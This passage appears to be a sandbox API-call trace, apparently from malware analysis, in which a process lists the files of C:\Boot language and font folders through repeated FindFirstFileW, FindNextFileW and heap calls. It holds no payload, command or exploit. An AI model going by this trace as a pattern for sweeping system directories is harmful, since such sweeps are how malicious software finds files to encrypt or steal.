nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.759] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.759] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.759] GetProcessHeap () returned 0x560000 [0211.759] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.759] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0211.760] GetProcessHeap () returned 0x560000 [0211.760] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.760] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.760] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.760] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.760] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.761] GetProcessHeap () returned 0x560000 [0211.761] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.761] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0211.761] GetProcessHeap () returned 0x560000 [0211.761] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.761] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.762] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.762] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0211.762] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0211.762] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.763] GetProcessHeap () returned 0x560000 [0211.763] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.763] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0211.763] GetProcessHeap () returned 0x560000 [0211.763] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.763] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.764] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.764] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.764] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.764] GetProcessHeap () returned 0x560000 [0211.764] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.764] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0211.764] GetProcessHeap () returned 0x560000 [0211.764] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.765] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.765] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.765] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.765] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.765] GetProcessHeap () returned 0x560000 [0211.765] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.765] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0211.766] GetProcessHeap () returned 0x560000 [0211.766] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.766] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.766] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0211.766] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0211.767] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0211.767] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0211.767] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0211.768] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0211.768] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.768] GetProcessHeap () returned 0x560000 [0211.768] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.768] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0211.768] GetProcessHeap () returned 0x560000 [0211.768] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.769] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.769] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.769] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.769] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.769] GetProcessHeap () returned 0x560000 [0211.769] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.769] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0211.770] GetProcessHeap () returned 0x560000 [0211.770] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.770] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.770] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.770] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.770] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.770] GetProcessHeap () returned 0x560000 [0211.770] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.771] FindNextFileW (in: hFindFile=0x2b74498, 